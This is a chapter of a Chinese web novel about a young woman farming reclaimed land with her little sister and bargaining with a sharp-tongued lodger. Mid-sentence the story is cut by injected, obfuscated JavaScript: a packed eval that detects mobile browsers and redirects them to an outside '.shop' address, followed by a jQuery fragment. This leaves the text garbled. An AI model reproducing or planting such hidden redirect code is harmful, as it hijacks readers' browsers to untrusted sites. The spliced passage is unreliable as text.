王茂生不明白她把这些草捆搬回去做什么,但还是照做了。
虞今越抱着一捆草走在前头,王茂生则用两条手臂左右各夹着一捆草在后头跟着,田埂细窄,看她走起路来深一脚浅一脚的,他莫名也有点替她紧张,又还要分出心神来听她说话。
“咱们七甲分的三套农具,都是谁家借走了?”她问。
“我们家用了一套,剩下的给了隔壁的马家和胡家,”他顿了一下,解释道:“马家有三个丁口,胡婶子家男人被水淹死了,孩子又多,没多少存粮。”
虞今越在心里一哂,他大哥办事还真是老辣,这两户不就是在院子里争得最凶的两伙人么。
还真是哪边都不得罪。
“那咱们明天开荒怎么办?我家里什么都没有,能使的农具就这一把柴刀,割草也不太趁手。”虞今越回过头来看了他一眼。
“我来想办法罢……”王茂生避开她的目光,继续看着脚下的路。
“我就说这世道上还是好人多,多谢你,有你来给我帮忙我真的能轻松不少。”虞今越笑得一脸灿烂,一个大跨步,跳过了一道浅沟。
王茂生被她直白的道谢弄得浑身都不自在,只垂下眼,半晌才应了一句“是我爹叫我来的”。
“噢,那谢谢你爹!”虞今越欢快地说。
王茂生实在词穷了,便抿着唇没再接话。
两人从圩田里爬上大堤,顺着堤并肩走了一截路,从村口下堤后,沿着村里这条顺直平坦黄土路走到她家的院子门口。
虞今越推开院门,把王茂生手里的草捆接过来靠着院墙一一码好,才笑着和他挥手,“茂生哥,明天见啊!”
王茂生点了下头,转身走了。
虞今越心里高兴,面上也是喜滋滋的,直接去对门把小妹接了回来,走进家门时手里还多了一把芥菜秧子。
七月种芥,正是合宜。
虞今越正寻思着得赶紧把菜地整治出来,一抬眼就看见草屋大门的半片阴影里转出来一个黑黢黢的人影。
那人阔步走到院子里来,一张俊朗的面庞阴沉沉的,目光凌厉,嘴角却是扬起来的。
他突然开口:“虞娘子的人缘好似不错?”
“哈哈,过奖。”
虞今越对自己的社交能力那是绝对的认可,并没有觉得有什么不妥,心情美丽的向他眨眨眼睛,得意道:“这把菜苗是对门的卢阿奶给的。”
“就这些?”
“你刚才看到啦?那是咱们王甲长的儿子,被他爹安排来给我干活儿的,还不是为了大家面子上过得去,怕我的地开荒太晚,拖大家的后腿。不过,这样也好,我也省事。”
张天阔闻言面色稍霁,挑眉道:“行了,时辰不早了,做饭去吧。”
虞今越瞪圆了眼,大好的心情被他一句话就搅没了。
吃,吃,吃,就知道吃。
发下来粮食本来就不多,她们俩都嫌不够呢,还得供给这个活祖宗,饭量不小,嘴里也说不出什么中听的话,尽招人烦。
虞今越没忍住拉下脸来,恶狠狠地瞪了他一眼。
虞今安仰起脸左右一望,见两人对峙着谁也没动,便自觉地钻进窝棚取了一只碗去舀米。
“对了,你不是说咱俩如今得明算账嘛,你住在我家里,又吃又喝的,也能抵一点钱吧?”虞今越把菜秧丢在墙角,抱起手臂质问他。
张天阔讶然一笑,道:“行啊,你要算,那我就仔仔细细的给你算。小爷平常在外头住店,在最次的大开铺住一晚得花十文钱。不过,你这住处哪能和外头的客栈比,连被褥子都没有,睡得我浑身疼,伙食又差,一天到晚就是喝粥,一日算你五文得了。”
“才五文?”虞今越磨了磨牙根,恨道:“果然是奸商!”
“我这是脾气好才和你在这里掰扯,要是旁人……”早被老子堵了嘴,丢江里喂鱼去了。
张天阔没说完,余光瞟到那个小丫头抱着碗从草屋里出来了,又忙着舀水淘米,便冷哼一声,钻进窝棚,把盆子里那条处理好的蛇肉端了出来。
“剁成段,水开放锅里多煮一会儿,没有姜蒜,就把屋里那些紫苏叶放两片进去,我去歇着了,饭好了喊我。”他抬了抬下巴,示意虞今越赶紧接着。
虞今越真是不明白,此人怎么能这么坦然的使唤别人,还心安理得的跑去偷懒。
就半点不会过意不去吗?
但思及自己欠下的那笔债,她还是识时务的,连忙按照这位大爷的吩咐,接过木盆,老老实实地钻进窝棚,架起陶釜开始烧水煮汤。
晚饭做的是一锅蛇肉汤,一盘汆野菜,一盘野葱炒蛋和焖米饭。
三人围在灶前吃饭,虞今越把筷子递过去,手指攥得紧紧的,她咬牙切齿的问:“这顿饭,有肉有菜有蛋,这么丰盛,应该够三十文了吧?”
“开什么玩笑?三十文都够我买只烧鸡了。”
张天阔嗤笑一声,将那双筷子从她手里硬生生拔了出来,慢悠悠的说:“你怎么这么会算账?蛇是我杀的,皮是我扒的,柴是我砍的,你就生了个火,煮了锅汤,吃也没少吃,还要借此赚我的银子?”
虞今越给小妹捞蛇肉的手顿了一下,又多舀了一块,转了个弯倒进张天阔的碗里,呵呵笑道:“嗐,咱俩算是过命的交情了吧?算这么细做什么。吃饭,趁热吃。”
说罢,她握紧木勺,给小妹和自己舀了好几块肉。
抵不了钱,吃也要吃个回本。
虞今安咬着一块蛇肉,看着面前的大哥哥,又看了一眼自己阿姐,默默地蹲在旁边埋头吐刺。
虞今越填饱了肚子,也自洽得很快,“对了,我有事儿要问你……”
“哦?”
张天阔停下筷子,幽黑的眸子定定地看着她,“我的消息值钱得很,你想问几文钱的?”
虞今越唇角一抖,干笑道:“我认输,咱们休战行不行?”
张天阔挑了一下眉,夹了一块炒蛋填进嘴里,咽下去才说:“那你问。”
“我不是想把发下来的那些粮种卖了,再买些别的种子,你在江上跑船卖货,见多识广,可知道江陵这一片,哪一处的集市,粮种最多,最全,价格也最地道?”她一脸殷切地望着他。
“南市有米粮行,那边种类最全,再就是城外沙市埠,江陵城南门外最大的码头,码头上有几条街的粮栈、漕庄,那里做大买卖的粮商多,也住有附近的村民挑过去在码头上摆摊的,陈粮新粮,价格都不一样,要你自己挑,有时也能买到便宜的粮食。”
张天阔淡声道:“要不你就在临近几个村里问一问,谁自家留的粮种有多的,乡里价贱。”
“多亏问了你了,不然还真不知道这么多门道呢。”
虞今越此时气也消了,语气也温柔了,她笑吟吟地说,“多谢你啊,等地里的活儿忙得差不多了,我就带小妹进城看一看。”
张天阔盯着她腮边的酒窝看了一眼,撇开眼,压低声音道:“那你可得小心点儿,城里多的是拐子,专逮你们这种年轻小姑娘。”
虞今越“嘁”了一声,这人真当她是三岁小孩儿呢?
一顿饭吃完,不得不说还是宾主尽欢的。
虞今越包揽了收拾碗筷的活儿,把一大一小两个人请了出去,叫他们俩在院子里看看天,散散步,消消食。
她乐呵呵的说:“顺便,如果你们实在是闲得慌,也可以边消食边给我搓几条草绳,明天捆草用。”
两人闻言都转过来看了她一眼,一个目光坚定,一个看她似乎在看傻子,连半撩起来的眼皮都透一股子我莫非会听你使唤的不屑。
晚风吹走天边的云,一轮红日,映着江堤上的树影,飞鸟渐次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617117|205805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
归林,几声嘹亮的鸟鸣在屋后响起。
“阿姐,是布谷鸟……”
虞今安攥着手里的茅草,兴高采烈地跑进窝棚里来,还凑在她跟前学着叫了几句。
布谷收秋,秋日一近,夜间的气温恐怕也要凉快下来了。
“学得挺像的嘛!”
虞今越笑着揉了揉小妹的头,朝外看了一眼,瓦蓝的天穹上,正映着最后一抹橘色的晚霞。
站在院子里的人听到这几声鸟鸣,面上神色微动,突然转过身来喊了她的名字,“我突然想起有点事儿还没办妥,要先走了。”
“走?现在?”
虞今越略有些惊讶,牵着小妹从窝棚里钻出来,“天马上就要黑了,你能赶回去么?”
张天阔歪了下头,唇角勾起一点似是而非的笑意,戏谑道:“不想让我走?”
虞今越:……
有时候,她也挺想弄清楚,他这些莫名其妙的自信是从哪里来的。
还不想让他走?
她巴不得他快点走呢!
“那也不是,就是我心地善良,怕你在路上又遇到了水匪,天黑了,赶路也不安全。”虞今越面上堆着笑。
张天阔轻嗤了一声,大步朝院大土路上去,“我回江陵,不走水路,你大可放心。”
“哈哈,那就好。”
虞今越将人送出门外,笑得格外殷切,“您路上慢点儿啊……”
虞今安也从门扉旁探出一个头来,朝他挥了挥小手。
张天阔垂眸淡淡扫了她们姐妹俩一眼,转身走了。
眼看着人消失在村道上,虞今越脸上的笑容也是越来越真诚了,送走了这尊大佛,总算是能消停了,她也该继续琢磨自己地里的活儿了。
姐妹俩回到院里,虞今越取了菜秧,叫小妹烧上一锅水,就抱上一捆干茅草去了后院。
她沿着田垄挨个儿把芥菜秧栽下,又提了桶过来用水瓢浇了地,才把茅草打散铺上去盖着。
一是为了保水,二是为了避开白天的大太阳。
日头西沉,天际还是亮堂堂的。
虞今越步履如风的从菜地回来,又把那小半桶螺蛳提了出来,倒在檐下,用石头一一敲碎。
虞今安给灶上添了柴,连忙跑过来帮忙,“阿姐,我们明天要吃这些螺狮肉吗?”
“不是吃的,是我拿来做肥料的。”虞今越笑着解释,还递给她一块石头,“随便砸,越碎越好。”
虞今安不明所以地点了点头。
江风吹来,大堤上柳树招摇,小小的院子里只剩下柴火燃烧的哔剥声和石头敲在硬壳子上的撞击声。
一声急,一声缓。
约摸过了小半个时辰,姐妹俩才把这大半桶螺狮敲完,天也黑得只剩一片靛蓝了。
虞今越抓紧时间在后院找了个阴凉的地方,挖了个坑,在坑底撒了一把草木灰,才把敲碎的螺蛳丢进去,又回去拆了半捆新鲜的杂草出来,剁碎了,丢进坑里,拿树棍子拌在一起,上头再铺上一层土。
她估摸着,等这些东西腐熟,正好能赶上第一次追肥。
姐妹俩简单洗漱过后,再一次躺回了自己的木板床上。
有了一夜睡草窝的经历,虞今越明显感觉到,自己对这个木板床的接受度都提高了不少,一闭上眼睛很快就睡着了。
一夜无梦。
次日,天才刚蒙蒙亮,虞今越就听到有人在外头拍门,她支起身子,顶着一头乱蓬蓬的头发匆匆跑去给人开门。
“谁啊?”
“时辰不早了,该下地了。”王茂生站院墙外头,皱着眉望了她一眼。
虞今越抬头看天,又看了一眼他手里握着的两把簇新的镰刀,还有那把竖在墙边的锄头,尴尬笑道:“实在有些太早了,我才刚起,什么都没收拾。要不,你进来先坐一会儿?”